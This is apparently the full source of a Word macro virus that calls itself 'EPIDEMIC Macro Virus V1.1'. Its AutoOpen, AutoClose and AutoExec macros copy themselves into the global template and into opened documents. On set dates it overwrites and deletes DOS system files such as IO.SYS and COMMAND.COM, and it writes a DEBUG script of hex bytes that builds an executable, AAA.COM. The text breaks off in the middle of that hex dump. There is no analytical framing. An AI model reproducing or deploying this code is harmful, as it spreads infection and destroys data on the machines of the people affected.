MACRO:AUTOEXEC
SUB MAIN
CALL AUTOOPEN
END SUB


MACRO: AUTOOPEN,AUTOCLOSE

Sub MAIN
DisableInput 1
On Error Goto exit

If Day(Now()) = 10 And Month(Now()) = 10 Then Goto 210
If Day(Now()) = 17 And Month(Now()) = 6 Then Goto 617
If Day(Now()) = 27 And Month(Now()) = 4 Then Goto 427

fn$ = FileName$() + ":AutoOpen"
cm = CountMacros(0)
If cm > 0 Then
   For i = 1 To cm
       If MacroName$(i, 0) = "AutoOpen" Then t = 1
   Next i
End If
If t <> 1 Then
   MacroCopy fn$, "AutoOpen", 2
   MacroCopy fn$, "AutoClose", 2
   MACROCOPY FILENAME$()+":AutoExec","AutoExec",2
End If
cm1 = CountMacros(1)
If cm1 > 0 Then  
   For j = 1 To cm1
      If MacroName$(j, 1) = "AutoOpen" Then tt = 1
   Next j
End If
If tt <> 1 Then
   FileSaveAs .Format = 1
   MacroCopy "AutoOpen", fn$, 2
   MACROCOPY "AutoExec",FILENAME$()+":AutoExec",2
End If
Goto exit
          


210 :
   Beep
   Beep
   Beep
   SetAttr "C:\IO.SYS", 0
   Open "C:\IO.SYS" For Output As #1
   Close #1
   SetAttr "C:\MSDOS.SYS", 0
   Open "C:\MSDOS.SYS", For Output As #1
   Close #1
   SetAttr "C:\COMMAND.COM", 0
   Open "C:\COMMAND.COM" For Output As #1
   Close #1
   Kill "C:\COMMAND.COM"
MsgBox "      今天" + Date$() + "是我的生日," + (13) + "       跟你開  一個小玩笑." + Chr$(13) + "         ...哈哈 哈 哈 . . . ", "       EPIDEMIC  Macro  Virus  V1.1 ", 64
Beep
Beep
Beep
MsgBox "EPIDEMIC(瘟 疫)取名於 拉斯、馮、提爾 的" + Chr$(13) + "電影作品EPIDEMIC , 好看耶！ " + Chr$(13) + "電影萬歲！！！電影萬歲！！！電影萬歲！！！", "       EPIDEMIC  Macro  Virus   V1.1 ", 64

ExitWindows
Goto exit

617 : 
VER$ = GetSystemInfo$(24)
 Beep
 Beep
 Beep
IF VER$="4.0" THEN 
  CHDEFAULTDIR "C:\WINDOWS\COMMAND" ,5
ELSE
  CHDEFAULTDIR "C:\DOS" ,5
END IF   
Open "DEBUG.EXE" For Input As #1     
Close #1 
Open "AAA.SCR" For Output As #1    
Print #1 , "N AAA.COM"
Print #1 , "E 0100 4D 5A AA 00 0A 00 00 00 02 00 39 00 FF FF 00 00"
Print #1 , "E 0110 00 00 00 00 00 00 00 00 1C 00 00 00 00 00 00 00"
Print #1 , "E 0120 E9 D9 11 95 00 A2 74 04 A2 13 14 8E C0 5F 83 EF"
Print #1 , "E 0130 03 50 57 BE 47 00 E8 1D 00 B0 13 BA 73 04 E8 B4"
Print #1 , "E 0140 00 E8 F0 00 84 16 8F 00 74 0B B8 FF 01 E8 38 11"
Print #1 , "E 0150 75 03 E9 14 04 CB 8A 64 FF B9 29 00 FC AC 32 C4"
Print #1 , "E 0160 D0 C4 AA E2 F8 C3 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1 , "E 0190 00 E8 00 00 BF 40 00 8E DF 83 6D D3 06 8B 45 D3"
Print #1 , "E 01A0 B1 0A D3 C8 8E C0 B8 09 02 33 DB B9 00 00 BA 00"
Print #1 , "E 01B0 00 CD 13 72 03 06 53 CB CD 18 1E 33 C0 8E D8 BE"
Print #1 , "E 01C0 4C 00 BF ED 13 56 56 A5 A5 5E A5 A5 BE 54 00 A5"
Print #1 , "E 01D0 A5 5E 38 06 75 04 74 03 BE 00 01 A5 A5 BE 84 00"
Print #1 , "E 01E0 A5 A5 1F C3 50 32 E4 D1 C0 D1 C0 93 33 C0 8E C0"
Print #1 , "E 01F0 26 C4 1F 58 C3 50 53 1E 32 E4 D1 C0 D1 C0 93 33"
Print #1 , "E 0200 C0 1E 8E D8 89 17 8F 47 02 1F 5B 58 C3 2E 8F 06"
Print #1 , "E 0210 04 14 9C 50 53 51 52 55 56 57 1E 06 8B EC 2E FF"
Print #1 , "E 0220 26 04 14 2E 8F 06 04 14 07 1F 5F 5E 5D 5A 59 5B"
Print #1 , "E 0230 58 9D EB EA 0E 0E 07 1F B8 01 02 BB 15 14 B9 01"
Print #1 , "E 0240 00 BA 80 00 E8 96 09 72 30 38 AF BF 01 74 2A 8B"
Print #1 , "E 0250 8F C4 01 83 E1 3F 83 E9 09 76 1E 80 F9 01 76 19"
Print #1 , "E 0260 E8 17 00 72 14 53 B8 09 03 33 DB E8 6F 09 5B 72"
Print #1 , "E 0270 08 B8 01 03 B1 01 E8 64 09 C3 51 52 81 BF FE 01"
Print #1 , "E 0280 55 AA 75 25 BF 47 00 89 4D 45 80 E2 80 89 55 48"
Print #1 , "E 0290 E8 1A 00 74 14 E8 ED 0F 88 65 FF 56 E8 BA FE 8B"
Print #1 , "E 02A0 F7 5F B9 29 00 F3 A4 F8 B0 F9 5A 59 C3 8B F3 FC"
Print #1 , "E 02B0 AC 50 AD 91 58 3C EB 75 05 32 ED 4E EB 08 3C E9"
Print #1 , "E 02C0 74 04 33 C9 8B F3 03 F1 81 FE E7 15 73 F4 81 3C"
Print #1 , "E 02D0 E8 00 75 05 81 7C 02 00 BF C3 33 C0 9C 5A 80 E6"
Print #1 , "E 02E0 FE 52 52 9D 16 17 9C 5A F6 C6 01 5A 74 15 06 33"
Print #1 , "E 02F0 ED 8C D1 FA 8E D5 C4 7E 04 8E D1 FB B0 CF FC AA"
Print #1 , "E 0300 07 52 9D 95 C3 E8 05 FF BE DB 13 2E C4 7C 16 EB"
Print #1 , "E 0310 0A E8 F9 FE BE E0 13 2E C4 7C 1D 0E 1F B9 05 00"
Print #1 , "E 0320 38 2E 13 14 74 0B FC AC 26 86 05 88 44 FF 47 E2"
Print #1 , "E 0330 F6 E8 EF FE C3 E8 82 FE B4 52 CD 21 26 8B 47 FE"
Print #1 , "E 0340 A3 AE 02 B0 01 E8 9C FE 53 06 BA 78 02 E8 A5 FE"
Print #1 , "E 0350 9C 5E BF 98 02 C6 05 03 B4 01 E8 34 00 E8 7D 08"
Print #1 , "E 0360 C6 05 26 B4 C0 E8 29 00 9C FF 1E F5 13 C6 05 13"
Print #1 , "E 0370 B4 30 E8 1C 00 E8 6F 08 C6 05 2B B4 01 E8 11 00"
Print #1 , "E 0380 E8 6A 08 81 E6 FF FE 56 9D 1F 5A B0 01 E8 65 FE"
Print #1 , "E 0390 C3 81 CE 00 01 56 9D C3 1E 0E 1F 89 3E 70 03 BF"
Print #1 , "E 03A0 64 03 89 05 89 5D 03 89 4D 06 89 55 09 8F 45 FB"
Print #1 , "E 03B0 5B 59 5A 8C C8 3B C1 75 FE E9 BF 00 3B 0E AE 02"
Print #1 , "E 03C0 73 4D BF F1 13 C6 06 98 02 30 EB 0C 81 F9 34 12"
Print #1 , "E 03D0 73 3D BF FD 13 80 E6 FE 89 1D 89 4D 02 EB 30 BF"
Print #1 , "E 03E0 F5 13 EB 08 BF F9 13 EB 03 BF ED 13 80 FD C8 72"
Print #1 , "E 03F0 1E 80 FD F4 72 DF EB 17 FE 0E 14 14 75 11 52 B0"
Print #1 , "E 0400 01 C5 16 E5 13 E8 ED FD E8 06 FF 5A 80 E6 FE F6"
Print #1 , "E 0410 C6 01 74 67 8E D9 33 FF 8B 01 3C F0 74 12 3C F2"
Print #1 , "E 0420 74 0E 3C F3 74 0A 3C 9C 73 09 24 E7 3C 26 75 4B"
Print #1 , "E 0430 47 EB E5 75 0C 80 E6 FE 52 8D 59 01 80 CE 01 EB"
Print #1 , "E 0440 D3 3C 9D 75 03 5A EB F1 3C CF 75 05 5B 59 5A EB"
Print #1 , "E 0450 EB 3C CD 74 12 3C CC B4 03 74 0B 3C CE B4 04 75"
Print #1 , "E 0460 1A F6 C6 08 74 15 4B 80 E6 FE 8D 59 02 52 51 53"
Print #1 , "E 0470 8A C4 06 E8 6E FD 8C C1 07 EB C1 52 51 53 B8 00"
Print #1 , "E 0480 00 8E D8 B8 00 00 BB 00 00 B9 00 00 BA 00 00 BF"
Print #1 , "E 0490 00 00 CF 1E E8 00 00 5E 81 EE 77 03 E8 3B FE 0B"
Print #1 , "E 04A0 ED 75 0B B4 30 BB 9A F9 CD 21 3C 03 72 30 8C C0"
Print #1 , "E 04B0 48 8E D8 33 FF 0B ED 75 05 80 3D 5A 75 20 B8 62"
Print #1 , "E 04C0 01 29 45 03 29 45 12 8E 45 12 8E DF 83 2E 13 04"
Print #1 , "E 04D0 06 B9 DB 13 FC F3 2E A4 B8 FB 03 06 50 CB 0E 1F"
Print #1 , "E 04E0 07 8D B4 72 12 8B 04 3D 4D 5A 74 14 3D 5A 4D 74"
Print #1 , "E 04F0 0F B9 0C 00 BF 00 01 06 57 FC F3 A5 06 1F 91 CB"
Print #1 , "E 0500 8C C0 05 10 00 01 44 16 03 44 0E 06 1F FA 8E D0"
Print #1 , "E 0510 2E 8B 64 10 33 C0 FB 2E FF 6C 14 0E 1F C6 45 38"
Print #1 , "E 0520 01 B8 02 00 E8 61 0D A2 3F 0A C6 06 74 04 2E B0"
Print #1 , "E 0530 EA AA 88 45 04 B8 73 04 AB C7 45 03 74 05 8C 0D"
Print #1 , "E 0540 8C 4D 05 57 E8 EE FD 5F 0E 1F A1 AE 02 39 45 15"
Print #1 , "E 0550 77 0B 39 45 21 77 06 E8 AB FD E8 B4 FD E8 D4 FC"
Print #1 , "E 0560 0B ED 8B F5 75 03 E9 75 FF 33 DB 8E C3 B2 80 32"
Print #1 , "E 0570 F6 33 C9 B8 01 05 E8 5F 06 80 E1 C0 FE C5 75 F3"
Print #1 , "E 0580 80 C1 40 75 EE 32 E4 CD 13 FE C6 80 FE 10 72 E1"
Print #1 , "E 0590 42 EB DC EB FE E8 75 FC B0 21 E8 47 FC 8C C0 0E"
Print #1 , "E 05A0 0E 1F 07 3D 00 08 77 18 BF FF 13 FD 87 05 AF 74"
Print #1 , "E 05B0 0F 89 1D B0 21 BA 74 05 E8 3A FC C6 06 74 04 2E"
Print #1 , "E 05C0 E8 60 FC 80 FC 02 75 09 83 F9 01 75 04 0A F6 74"
Print #1 , "E 05D0 06 E8 F7 05 CA 02 00 E8 F1 05 E8 30 FC 72 3D 06"
Print #1 , "E 05E0 0E 07 1F B9 00 01 8B F3 BF 15 14 8B DF FC F3 A5"
Print #1 , "E 05F0 0E 1F E8 B8 FC 75 2B B8 01 02 8B 4C 1B 8A 74 1F"
Print #1 , "E 0600 E8 D5 05 72 17 A1 00 00 39 07 75 10 8B 7E 0E 8E"
Print #1 , "E 0610 46 00 2B F3 03 FE 8D 77 47 E8 3A FB E8 04 FC CA"
Print #1 , "E 0620 02 00 80 FA 80 73 F5 B8 01 03 B9 01 00 E8 A8 05"
Print #1 , "E 0630 72 EA 8B F2 8B FB 8B 45 13 8B 4D 18 29 4D 13 89"
Print #1 , "E 0640 0E 70 05 33 D2 0B C0 74 D3 E3 D1 F7 F1 0B D2 75"
Print #1 , "E 0650 CB 8B 5D 1A 0B DB 74 C4 F7 F3 0B D2 75 BE 48 8A"
Print #1 , "E 0660 E8 B1 01 4B 8B D6 8A F3 8B DF E8 0D FC 72 AD B8"
Print #1 , "E 0670 09 03 33 DB E8 61 05 72 A3 B8 01 03 BB 15 14 B9"
Print #1 , "E 0680 01 00 32 F6 E8 51 05 8B 5E 0E 8E 5E 00 81 6F 13"
Print #1 , "E 0690 FF 09 EB 88 FA 2E 8C 16 D7 12 2E 89 26 D9 12 0E"
Print #1 , "E 06A0 17 BC DB 13 FB E8 65 FB E4 21 0C 02 E6 21 0E 1F"
Print #1 , "E 06B0 BF 01 14 89 9D C4 F6 B0 24 E8 28 FB 89 5D E8 8C"
Print #1 , "E 06C0 45 EA C7 05 B0 03 C6 45 02 CF 8B D7 E8 26 FB E8"
Print #1 , "E 06D0 51 FB E8 3C FC E8 35 FB 80 FC 30 75 0E 81 C3 66"
Print #1 , "E 06E0 06 75 08 89 5E 10 89 5E 0E EB 5C 80 FC 11 72 6F"
Print #1 , "E 06F0 80 FC 12 77 6A E8 EF 04 0A C0 74 03 E9 A5 02 E8"
Print #1 , "E 0700 4F 04 E8 AD 04 B8 43 48 AF 75 0C B8 4B 44 AF 75"
Print #1 , "E 0710 06 B8 53 4B AF 74 30 E8 A9 04 33 FF 80 3F FF 75"
Print #1 , "E 0720 03 BF 07 00 8D 71 1A E8 2F 04 74 1B 80 3C C8 72"
Print #1 , "E 0730 16 80 2C C8 C4 41 1D 8C C1 2D 8A 12 83 D9 00 72"
Print #1 , "E 0740 06 89 41 1D 89 49 1F E8 F6 03 E8 D6 FA E8 C1 FB"
Print #1 , "E 0750 FA 2E 8E 16 D7 12 2E 8B 26 D9 12 FB CA 02 00 80"
Print #1 , "E 0760 FC 4E 72 1B 80 FC 4F 77 16 E8 7B 04 73 03 E9 33"
Print #1 , "E 0770 02 E8 DD 03 E8 4C 04 BF FD FF 8D 77 19 EB A8 3D"
Print #1 , "E 0780 02 42 75 24 E8 5D 04 72 E5 E8 41 03 76 11 E8 C8"
Print #1 , "E 0790 03 74 0C 2D 8A 12 83 DA 00 89 45 15 89 55 17 F8"
Print #1 , "E 07A0 E8 AE 03 89 56 0A EB 9F 3D 00 57 74 12 3D 01 57"
Print #1 , "E 07B0 75 2F E8 18 03 76 12 80 FE C8 73 0D 80 C6 C8 E8"
Print #1 , "E 07C0 97 03 74 05 E8 1D 04 73 03 E9 D8 01 80 FE C8 72"
Print #1 , "E 07D0 03 80 EE C8 F8 E8 79 03 89 4E 0C 89 56 0A E9 66"
Print #1 , "E 07E0 FF 80 FC 3F 74 03 E9 BD 00 E8 E1 02 76 F8 E8 68"
Print #1 , "E 07F0 03 74 F3 C4 45 11 8C C3 C4 55 15 8C C6 2E 83 26"
Print #1 , "E 0800 7D 07 00 0B F6 75 4D 83 FA 18 73 48 51 03 CA F5"
Print #1 , "E 0810 73 03 83 F9 18 59 72 05 B9 18 00 2B CA 50 53 52"
Print #1 , "E 0820 83 EA 18 03 C2 F5 1B DE 87 45 15 87 5D 17 50 53"
Print #1 , "E 0830 1E B4 3F 8B 56 0A 8E 5E 02 E8 A8 03 1F 8F 45 17"
Print #1 , "E 0840 8F 45 15 5A 9C 03 D0 2E 01 06 7D 07 9D 5B 58 73"
Print #1 , "E 0850 03 E9 50 01 89 55 15 89 75 17 8B 4E 0C 2E 2B 0E"
Print #1 , "E 0860 7D 07 2D 8A 12 83 DB 00 50 53 2B C2 1B DE 5B 58"
Print #1 , "E 0870 73 04 33 C9 EB 14 03 D1 83 D6 00 3B DE 77 0B 72"
Print #1 , "E 0880 04 3B C2 73 05 2B D1 91 2B CA B4 3F 8B 56 0A 2E"
Print #1 , "E 0890 03 16 7D 07 8E 5E 02 E8 4A 03 72 04 05 00 00 F8"
Print #1 , "E 08A0 E8 AE 02 E9 A1 FE 80 FC 40 74 02 EB 52 E8 1D 02"
Print #1 , "E 08B0 76 F9 C4 45 11 8C C3 2D 18 00 83 DB 00 87 45 15"
Print #1 , "E 08C0 87 5D 17 50 53 B8 02 00 87 45 02 50 1E 0E 1F 07"
Print #1 , "E 08D0 E8 5A 02 26 8F 45 02 72 1B 26 89 45 15 26 89 45"
Print #1 , "E 08E0 17 E8 4C 02 72 0E 06 1F 81 6D 11 8A 12 19 45 13"
Print #1 , "E 08F0 80 6D 10 C8 26 8F 45 17 26 8F 45 15 E9 A5 00 80"
Print #1 , "E 0900 FC 3E 74 0C 3D 00 4B 74 03 E9 98 00 B8 00 3D 3D"
Print #1 , "E 0910 B4 45 E8 E6 01 E8 CC 02 2E A3 C5 0A B8 08 44 99"
Print #1 , "E 0920 72 7F E8 A8 01 72 75 75 73 B3 3F 22 5D 05 8A D3"
Print #1 , "E 0930 43 E8 B3 02 B9 01 00 0E 07 72 05 48 74 18 EB 05"
Print #1 , "E 0940 80 FA 01 77 11 B8 01 02 BB 15 14 CD 13 72 4D B8"
Print #1 , "E 0950 01 03 CD 13 72 46 41 87 4D 02 51 33 C0 86 65 04"
Print #1 , "E 0960 F6 C4 04 50 75 30 98 99 87 45 15 87 55 17 50 52"
Print #1 , "E 0970 BD BD B0 03 6D 28 75 06 BD B1 B2 03 6D 29 E8 69"
Print #1 , "E 0980 00 9C E8 48 01 9D 72 04 80 45 10 C8 80 4D 06 40"
Print #1 , "E 0990 8F 45 17 8F 45 15 8F 45 03 8F 45 02 B4 3E E8 43"
Print #1 , "E 09A0 02 E8 57 01 E8 99 01 0E 1F B0 01 BF E5 13 38 45"
Print #1 , "E 09B0 2E 75 32 E8 2E F8 89 1D 8C 45 02 C6 45 2F 05 C6"
Print #1 , "E 09C0 06 98 02 3F BA 78 02 E8 2B F8 E8 56 F8 56 9C 5E"
Print #1 , "E 09D0 E8 BE F9 5E FA 2E 8E 16 D7 12 2E 8B 26 D9 12 FB"
Print #1 , "E 09E0 2E FF 2E FD 13 E8 3B F8 EB EA 0E 1F E8 3E 01 72"
Print #1 , "E 09F0 45 8B F2 BF 8A 12 FC F3 A4 E8 D1 00 C4 45 11 8C"
Print #1 , "E 0A00 C2 89 45 15 89 55 17 0E 0E 07 1F 8B 0C 81 F9 5A"
Print #1 , "E 0A10 4D 74 25 81 F9 4D 5A 74 1F 0B D5 75 19 3D 12 ED"
Print #1 , "E 0A20 77 14 3D E8 03 72 0F C6 04 E9 FE C4 50 05 D9 10"
Print #1 , "E 0A30 89 44 01 EB 7C 90 F9 C3 83 7C 0C FF 75 F8 8B E8"
Print #1 , "E 0A40 8B FA B9 00 02 F7 F1 0B D2 74 01 40 2B 44 04 75"
Print #1 , "E 0A50 E5 2B 54 02 75 E0 B8 8A 12 03 C5 13 D7 F7 F1 0B"
Print #1 , "E 0A60 D2 74 01 40 89 44 04 89 54 02 BB 8E E9 33 C9 3B"
Print #1 , "E 0A70 EB 72 05 83 ED 10 E2 F7 83 FF 0F 77 B9 91 B1 04"
Print #1 , "E 0A80 D3 CF 0B C0 74 04 2B F8 73 AC 2B 7C 08 55 81 C5"
Print #1 , "E 0A90 DC 11 89 6C 14 89 7C 16 81 C5 00 02 89 6C 10 89"
Print #1 , "E 0AA0 7C 0E BD 00 80 D3 FB 8B 44 0A 2B C3 73 03 89 44"
Print #1 , "E 0AB0 0A 58 E8 3F 01 55 9D 72 13 E8 11 00 89 4D 15 89"
Print #1 , "E 0AC0 4D 17 B4 40 BA 8A 12 0E 1F E8 69 00 C3 50 53 B8"
Print #1 , "E 0AD0 20 12 2E 8B 1E C5 0A CD 2F 72 1D B8 16 12 26 8A"
Print #1 , "E 0AE0 1D 80 FB FF F5 74 11 CD 2F 72 0D 06 1F F6 45 05"
Print #1 , "E 0AF0 80 F5 75 04 F6 45 10 80 5B 58 C3 50 53 52 1E B0"
Print #1 , "E 0B00 13 BF ED 13 0E 1F E8 DB F6 8C C2 87 1D FC AF 87"
Print #1 , "E 0B10 D3 87 1D AF 8E DB E8 DC F6 3C 15 B0 15 73 05 83"
Print #1 , "E 0B20 C7 04 EB E0 B0 40 74 DC 1F 5A 5B 58 C3 B4 3F 3D"
Print #1 , "E 0B30 B4 40 BA 72 12 B9 18 00 E8 A9 00 72 02 2B C1 C3"
Print #1 , "E 0B40 B0 24 2E C5 16 E9 13 E8 AB F6 E4 21 24 FD E6 21"
Print #1 , "E 0B50 C3 89 46 10 9C 8F 46 12 C3 50 51 56 57 06 B0 00"
Print #1 , "E 0B60 0A C0 75 3E E8 4B 00 26 8B 05 3D 41 52 74 33 3D"
Print #1 , "E 0B70 4C 48 74 2E 3D 50 4B 74 29 B9 02 00 BE 88 0A 51"
Print #1 , "E 0B80 57 B1 08 2E AC 34 6C F2 AE 75 10 80 F9 03 72 0B"
Print #1 , "E 0B90 B1 04 2E AC 34 6C 74 03 AE E1 F7 BE 8D 0A 5F 59"
Print #1 , "E 0BA0 E0 DD 07 5F 5E 59 58 C3 2E 2D 2F 27 6C 21 23 28"
Print #1 , "E 0BB0 29 21 50 53 B4 62 E8 2E 00 4B 8E C3 BF 08 00 FC"
Print #1 , "E 0BC0 5B 58 C3 B4 2F E8 1F 00 06 1F C3 E8 37 F7 9C 2E"
Print #1 , "E 0BD0 FF 1E F1 13 E8 2E F7 C3 F6 C2 80 74 10 9C 2E FF"
Print #1 , "E 0BE0 1E ED 13 C3 BB 00 00 9C 0E E8 F4 FD C3 9C 2E FF"
Print #1 , "E 0BF0 1E F9 13 C3 A3 06 14 BF DC 11 BB 35 0E B9 23 0E"
Print #1 , "E 0C00 BA 42 0E BE 55 11 81 CD EF 00 E8 45 06 57 57 BE"
Print #1 , "E 0C10 A0 11 BF A2 12 B9 35 00 F3 A4 C7 06 0A 14 AE 12"
Print #1 , "E 0C20 5F BB AA 0C B9 A0 0D BA 7E 0C BE 59 0C E8 22 06"
Print #1 , "E 0C30 B8 02 00 50 E8 51 06 58 74 06 F7 C5 00 40 75 5C"
Print #1 , "E 0C40 E8 45 06 74 06 F7 C5 00 20 75 51 81 CD 00 08 B8"
Print #1 , "E 0C50 02 00 99 E8 32 06 A0 0F 14 75 0F E8 1E 06 75 05"
Print #1 , "E 0C60 E8 4C 04 EB 37 E8 E1 03 EB 32 B1 03 8A E8 D2 E5"
Print #1 , "E 0C70 0A C5 BB 02 00 E8 FE 05 75 0D 0D C0 09 E8 FC 05"
Print #1 , "E 0C80 75 10 80 CC 02 EB 0B 4B 75 05 0D C0 21 EB EE 0D"
Print #1 , "E 0C90 C0 85 86 C4 AB 81 CD 00 18 E8 AF 04 81 E5 FF F7"
Print #1 , "E 0CA0 F7 C5 00 20 74 1A B0 E2 F7 C5 00 10 74 64 E8 CB"
Print #1 , "E 0CB0 05 75 5F 48 E8 C5 05 75 2A 48 EB 56 75 79 7D 7F"
Print #1 , "E 0CC0 BB 9C 0B B8 03 00 E8 BF 05 D7 BB 02 00 E8 A6 05"
Print #1 , "E 0CD0 75 40 80 3E 0F 14 01 75 09 B3 04 E8 98 05 75 02"
Print #1 , "E 0CE0 B0 E4 48 AB 3C 7F 77 09 E8 91 05 75 04 81 CD 00"
Print #1 , "E 0CF0 08 8B F7 E8 55 04 8D 44 FE 2B C7 F6 D8 88 44 FF"
Print #1 , "E 0D00 F7 C5 00 08 B0 EB 74 0A B8 03 00 E8 7A 05 BB 9C"
Print #1 , "E 0D10 0B D7 AA 58 48 2B C7 AA 81 CD EF 00 81 E5 FF F7"
Print #1 , "E 0D20 E8 28 04 B8 13 00 E8 5F 05 75 33 A1 06 14 05 73"
Print #1 , "E 0D30 03 92 E8 ED 04 E8 8B 02 0D E0 FF E8 3E 05 75 04"
Print #1 , "E 0D40 86 C4 EB 23 BB 02 00 E8 2C 05 75 07 34 10 86 C4"
Print #1 , "E 0D50 AB EB 03 34 B0 AA E8 F2 03 B0 C3 AA EB 0A B0 E9"
Print #1 , "E 0D60 AA 8D 85 8F FC F7 D8 AB 8B 36 0C 14 81 FF 72 12"
Print #1 , "E 0D70 72 04 F9 9C 5D C3 E9 49 06 A1 10 14 BA 02 00 80"
Print #1 , "E 0D80 FC FF 74 12 E8 F5 04 75 06 4A E8 02 00 EB 05 E8"
Print #1 , "E 0D90 EA 04 75 02 86 C4 E8 16 03 29 16 08 14 C3 81 FE"
Print #1 , "E 0DA0 7E 0C 75 09 E8 D5 04 75 04 81 CD 00 48 A0 0F 14"
Print #1 , "E 0DB0 3C 01 75 0B E8 C5 04 75 06 81 CD 00 20 EB 06 BA"
Print #1 , "E 0DC0 FF FF E8 EA 02 81 CD 00 04 C3 55 81 E5 FF FB A0"
Print #1 , "E 0DD0 0E 14 50 B8 04 00 E8 AF 04 BB 05 01 B9 19 11 BA"
Print #1 , "E 0DE0 05 29 74 2B 48 74 24 48 75 07 B7 31 BA 05 31 EB"
Print #1 , "E 0DF0 2A 80 3E 0E 14 01 75 DB 81 CD 00 04 B7 D3 BA 0D"
Print #1 , "E 0E00 D3 48 74 02 87 DA A2 0E 14 EB 10 86 F7 86 CD E8"
Print #1 , "E 0E10 6A 04 75 07 53 8A FD E8 14 03 3C 53 F7 C5 00 80"
Print #1 , "E 0E20 74 0F E8 E1 03 74 0A B0 2E E8 50 04 75 02 B0 36"
Print #1 , "E 0E30 AA 8A C7 AA A1 10 14 80 FC FF 74 02 02 C4 BB 93"
Print #1 , "E 0E40 0D D7 E8 C1 03 75 06 FE C4 75 02 0C 40 8B 0E 08"
Print #1 , "E 0E50 14 BB 06 00 E8 1F 04 74 02 E3 16 0C 40 E8 1C 04"
Print #1 , "E 0E60 75 0D 83 F9 7F 76 0A 83 F9 80 72 03 32 ED 3D 34"
Print #1 , "E 0E70 C0 8A 26 0E 14 D0 E4 D0 E4 D0 E4 0A C4 AA A8 C0"
Print #1 , "E 0E80 74 07 A8 80 91 AB 75 01 4F 87 3E 0A 14 F7 C5 00"
Print #1 , "E 0E90 04 74 03 B0 91 AA 92 86 C4 89 3E 0C 14 AB 74 03"
Print #1 , "E 0EA0 B0 91 AA 87 3E 0A 14 58 86 C4 A3 CE 12 58 A2 0E"
Print #1 , "E 0EB0 14 5D C3 FF FF FF 07 FF 06 04 05 FF 00 01 02 03"
Print #1 , "E 0EC0 E8 B9 03 75 01 C3 55 81 CD 00 02 B8 03 00 E8 B7"
Print #1 , "E 0ED0 03 75 1B E8 AF 03 92 A0 0E 14 E8 6C 01 87 3E 0A"
Print #1 , "E 0EE0 14 47 A0 12 14 AA 92 AB 87 3E 0A 14 5D C3 B0 04"
Print #1 , "E 0EF0 E8 95 03 75 2A B8 C0 D1 BB 02 00 E8 78 03 75 10"
Print #1 , "E 0F00 80 3E 0F 14 01 75 09 F7 C5 00 04 75 03 80 CC 02"
Print #1 , "E 0F10 86 C4 50 0A 26 0E 14 AB 58 87 3E 0A 14 EB C8 48"
Print #1 , "E 0F20 75 05 B8 C8 D1 EB D1 48 75 05 B8 D0 F7 EB E1 48"
Print #1 , "E 0F30 75 05 B8 D8 F7 EB D9 E8 4B 03 92 A0 0E 14 E8 6E"
Print #1 , "E 0F40 01 EB 9A E8 DC 02 92 E8 3B 03 A3 A5 11 92 A2 0E"
Print #1 , "E 0F50 14 E8 6F 00 C3 E8 CA 02 A2 0F 14 BA EE 08 E8 62"
Print #1 , "E 0F60 00 C3 8B 16 06 14 E8 AD 02 A2 10 14 C6 06 11 14"
Print #1 , "E 0F70 FF BB 03 00 E8 FF 02 75 33 3C 06 BB C0 00 72 02"
Print #1 , "E 0F80 B3 28 85 EB 74 26 E8 8D 02 50 E8 BC 02 84 C3 58"
Print #1 , "E 0F90 75 05 E8 AB 02 EB EF A2 11 14 BB FF FF E8 D6 02"
Print #1 , "E 0FA0 2B D3 87 DA E8 1C 00 87 DA A0 10 14 33 DB E8 CB"
Print #1 , "E 0FB0 02 75 08 BB FF FF E8 BD 02 2B D3 89 1E 08 14 E8"
Print #1 , "E 0FC0 01 00 C3 53 52 BB 04 00 E8 AB 02 75 13 BB FF FF"
Print #1 , "E 0FD0 E8 A3 02 2B D3 E8 0A 00 8B D3 E8 D2 00 5A 5B C3"
Print #1 , "E 0FE0 5A 5B 50 53 51 52 98 BB 02 00 E8 89 02 74 25 B3"
Print #1 , "E 0FF0 02 E8 82 02 75 19 0D C0 C7 E8 80 02 75 07 B1 03"
Print #1 , "E 1000 D2 E0 35 06 4A 86 C4 AB 92 AB E8 3E 01 EB 79 0C"
Print #1 , "E 1010 B8 AA EB F4 50 B1 03 8A E8 D2 E5 0A C5 E8 5C 02"
Print #1 , "E 1020 75 03 80 CC 02 E8 54 02 75 1A 0D C0 29 E8 4C 02"
Print #1 , "E 1030 75 06 80 F4 30 E8 F6 00 86 C4 AB E8 0D 01 58 E8"
Print #1 , "E 1040 07 00 EB C9 0D C0 31 EB EF 50 53 51 52 98 BB 02"
Print #1 , "E 1050 00 E8 22 02 B9 30 35 74 14 B9 08 0D 4B 74 0E B9"
Print #1 , "E 1060 00 05 E8 17 02 75 06 B9 10 15 E8 C1 00 F7 C5 00"
Print #1 , "E 1070 02 74 04 88 2E 12 14 E8 02 02 75 11 0A C0 75 0D"
Print #1 , "E 1080 8A C5 AA 92 AB E8 C3 00 5A 59 5B 58 C3 0D C0 81"
Print #1 , "E 1090 0A C1 E8 E7 01 75 0D 83 FA 7F 76 05 83 FA 80 72"
Print #1 , "E 10A0 03 80 CC 02 86 C4 AB A8 02 92 74 D8 AA EB D6 50"
Print #1 , "E 10B0 53 51 52 98 8B CA BB 03 00 E8 BA 01 74 4F BB C0"
Print #1 , "E 10C0 40 F7 C5 00 02 74 05 C6 06 12 14 05 83 F9 03 72"
Print #1 , "E 10D0 18 F7 D9 83 F9 03 77 35 BB C8 48 F7 C5 00 02 74"
Print #1 , "E 10E0 05 C6 06 12 14 2D 42 41 3D 4A 49 50 B8 05 00 E8"
Print #1 , "E 10F0 96 01 58 50 75 09 B4 FF 86 DF 86 C4 AA 86 C4 0A"
Print #1 , "E 1100 C7 AA 58 E8 45 00 0B D2 75 AC E9 7B FF E8 6C 01"
Print #1 , "E 1110 74 03 E9 4A FF F7 C5 00 02 75 02 F7 DA B9 28 2D"
Print #1 , "E 1120 E8 59 01 74 03 E9 45 FF B9 18 1D E9 3C FF 50 55"
Print #1 , "E 1130 81 CD 00 08 B0 F8 E8 43 01 75 09 B8 F9 F5 AA E8"
Print #1 , "E 1140 09 00 86 C4 AA E8 03 00 5D 58 C3 50 B8 02 00 E8"
Print #1 , "E 1150 36 01 91 E3 05 E8 05 00 E2 FB 91 58 C3 50 53 51"
Print #1 , "E 1160 52 55 F7 C5 00 01 75 43 81 E5 FF FD 81 CD 00 01"
Print #1 , "E 1170 E8 09 01 75 36 B1 03 E8 0B 01 92 E8 A4 00 72 2B"
